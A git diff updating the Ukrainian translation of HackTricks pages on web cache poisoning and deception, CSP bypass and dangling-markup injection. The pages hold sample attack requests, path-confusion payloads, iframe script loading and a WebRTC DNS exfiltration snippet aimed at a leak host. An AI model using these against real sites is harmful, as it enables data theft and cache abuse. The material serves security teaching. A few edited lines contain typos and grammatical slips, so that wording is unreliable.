призвело до кешованої помилки 400 Bad Request. ### Правила User Agent @@ -184,15 +184,15 @@ Cloudflare раніше кешував 403 відповіді. Спроба до ### Неправильні поля заголовків -[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` не присутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request. +[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request. ### Знаходження нових заголовків [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Cache Deception +## Отруєння кешу -Мета Cache Deception полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**. +Мета отруєння кешу полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**. Перш за все, зверніть увагу, що **розширення**, такі як `.css`, `.js`, `.png` тощо, зазвичай **налаштовуються** на **збереження** в **кеші**. Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані у інших користувачів. @@ -206,16 +206,16 @@ Cloudflare раніше кешував 403 відповіді. Спроба до - _Використовуйте менш відомі розширення, такі як_ `.avif` Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збереже результат.\ -Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримували доступ раніше. +У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збережеться результат.\ +Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримали доступ раніше. -Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (що очікується для _.css_ файлу). +Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу). Дізнайтеся тут, як виконати [Cache Deceptions атаки, зловживаючи HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Автоматичні інструменти -- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей до web cache poisoning у списку URL-адрес і тестування кількох технік впровадження. +- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей отруєння веб-кешу в списку URL-адрес і тестування кількох технік ін'єкцій. ## Посилання diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index bd77cf448..6f2b45764 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> На цій сторінці ви можете знайти різні варіації, щоб спробувати змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів** +> На цій сторінці ви можете знайти різні варіації, щоб змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів** - **HTTP Header Oversize (HHO)** @@ -31,7 +31,7 @@ Content-Type: HelloWorld ``` - **Unkeyed header** -Деякі веб-сайти повернуть код статусу помилки, якщо вони **бачать деякі специфічні заголовки** в запиті, такі як заголовок _X-Amz-Website-Location-Redirect: someThing_: +Деякі веб-сайти повернуть код статусу помилки, якщо вони **побачать деякі специфічні заголовки** в запиті, як-от заголовок _X-Amz-Website-Location-Redirect: someThing_: ``` GET /app.js HTTP/2 Host: redacted.com @@ -50,7 +50,7 @@ GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` -- **Безключовий порт** +- **Unkeyed Port** Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт: ``` @@ -92,7 +92,7 @@ Not Found ``` - **Нормалізація шляху** -Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шлях і зберігає відповідь для URLdecoded шляху: +Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шляху та зберігає відповідь для URLdecoded шляху: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index d5ed35260..89d74aba7 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -44,9 +44,9 @@ - **Розширення**: Cloudflare завжди кешує файли з наступними розширеннями: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник і статичне розширення, наприклад, запит до `/home$image.png` кешує `/home$image.png`, а сервер походження відповідає `/home` -- **Відомі статичні каталоги**: Наступні каталоги містять статичні файли, тому їх відповідь повинна бути кешована: /static, /assets, /wp-content, /media, /templates, /public, /shared -- Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник, статичний каталог і крапки, наприклад: `/home/..%2fstatic/something` кешує `/static/something`, а відповідь буде `/home` -- **Статичні каталоги + крапки**: Запит до `/static/..%2Fhome` або до `/static/..%5Chome` може бути кешований як є, але відповідь може бути `/home` +- **Відомі статичні директорії**: Наступні директорії містять статичні файли, тому їх відповідь повинна бути кешована: /static, /assets, /wp-content, /media, /templates, /public, /shared +- Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник, статичну директорію та крапки, наприклад: `/home/..%2fstatic/something` кешує `/static/something`, а відповідь буде `/home` +- **Статичні директорії + крапки**: Запит до `/static/..%2Fhome` або до `/static/..%5Chome` може бути кешований як є, але відповідь може бути `/home` - **Статичні файли:** Деякі специфічні файли завжди кешуються, такі як `/robots.txt`, `/favicon.ico` та `/index.html`. Це може бути зловжито, наприклад, `/home/..%2Frobots.txt`, де кеш може зберігати `/robots.txt`, а сервер походження відповідає на `/home`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index c17dfe0c4..1434509d6 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -40,7 +40,7 @@ object-src 'none'; ### Директиви - **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями. -- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні. +- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні. - **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів. - **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest. - **frame-src**: Обмежує URL для фреймів. @@ -69,8 +69,8 @@ object-src 'none'; - `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів, не рекомендується з міркувань безпеки. - `'unsafe-hashes'`: Дозволяє конкретні вбудовані обробники подій. - `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як вбудовані ` ``` -З: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) - Ви також можете зловживати цією конфігурацією, щоб **завантажити код javascript, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** код JS (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) ### З сервісними працівниками -Функція сервісних працівників **`importScripts`** не обмежена CSP: +Функція **`importScripts`** сервісних працівників не обмежена CSP: {{#ref}} ../xss-cross-site-scripting/abusing-service-workers.md {{#endref}} -### Ін'єкція політики +### Впровадження політики **Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection) @@ -542,13 +540,13 @@ run() ``` ### Via Bookmarklets -Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обходячи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени. +Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени. Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass by restricting CSP -У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обходиться шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**. +У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**. Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**: ```html @@ -557,7 +555,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\ -CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**: +CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**: ```html ``` @@ -680,7 +678,7 @@ X-DNS-Prefetch-Control: off На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP. -Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом: +Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 2ac0d5fd5..4b787ff14 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -4,7 +4,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: `eval, setTimeout, setInterval` будуть заблоковані через налаштування `unsafe-eval`. -Будь-який контент з зовнішніх джерел також заблоковано, включаючи зображення, CSS, WebSockets і, особливо, JS. +Будь-який контент з зовнішніх джерел також заблокований, включаючи зображення, CSS, WebSockets і, особливо, JS. ### Через текст та зображення @@ -19,7 +19,7 @@ window.frames[0].document.head.appendChild(script) ``` ### Через помилки -Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можна викликати для завантаження в iframe, що дозволяє виконати наступні дії: +Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можуть бути викликані для завантаження в iframe, що дозволяє виконати наступні дії: ```javascript // Inducing an nginx error frame = document.createElement("iframe") @@ -43,7 +43,7 @@ for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` -Після активації будь-якого з вказаних сценаріїв, виконання JavaScript в межах iframe можливе наступним чином: +Після активації будь-якого з наведених сценаріїв, виконання JavaScript в межах iframe можливе наступним чином: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 765ea507c..25014a76e 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -5,13 +5,13 @@ ## Резюме Цю техніку можна використовувати для витягування інформації від користувача, коли **знайдено HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS** ](../xss-cross-site-scripting/), але можете **впровадити деякі HTML-теги**.\ -Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деяких скриптів. +Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деякого скрипта. -Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета теги, форми, base...). +Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета-теги, форми, base...). ## Основні застосування -### Вкрадення секретів у відкритому тексті +### Вкрадання секретів у відкритому тексті Якщо ви впровадите `test I get consumed! ``` -Зловмисник може використовувати це для крадіжки інформації. +Зловмисник може використовувати це для викрадення інформації. Знайдіть [**приклад цього нападу в цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). -### Крадіжка відкритих текстових секретів 2 +### Викрадення відкритих текстових секретів 2 -Використовуючи останньо згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення: +Використовуючи останньо згадану техніку для викрадення форм (інжекція нового заголовка форми), ви можете потім інжектувати нове поле введення: ```html `. Усі дані до закритого `` будуть надіслані: ```html @@ -73,7 +73,7 @@ I get consumed! ``` ### Впровадження параметрів форми -Ви можете змінити шлях форми та вставити нові значення, щоб виконати несподівану дію: +Ви можете змінити шлях форми та вставити нові значення, щоб виконати неочікувану дію: ```html
← Injected lines @@ -86,11 +86,11 @@ I get consumed!
``` -### Вкрадення секретів у відкритому тексті через noscript +### Викрадення секретів у відкритому тексті через noscript `` Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою [chrome://settings/content/javascript](chrome://settings/content/javascript)). -Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції до низу на сайт, контрольований зловмисником, буде ін'єкція цього: +Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції донизу на сайт, контрольований зловмисником, буде ін'єкція цього: ```html